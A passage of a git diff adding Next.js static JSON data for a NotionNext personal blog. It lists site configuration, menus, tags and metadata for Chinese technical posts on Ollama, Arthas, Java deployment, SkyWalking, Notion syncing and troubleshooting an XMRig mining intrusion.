2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"category":"技术分享"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/category/\347\237\245\350\241\214\345\220\210\344\270\200.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/category/\347\237\245\350\241\214\345\220\210\344\270\200.json"
new file mode 100644
index 000000000..1e2637f26
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/category/\347\237\245\350\241\214\345\220\210\344\270\200.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"category":"知行合一"},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/index.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/index.json
new file mode 100644
index 000000000..edf85186e
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/index.json
@@ -0,0 +1 @@
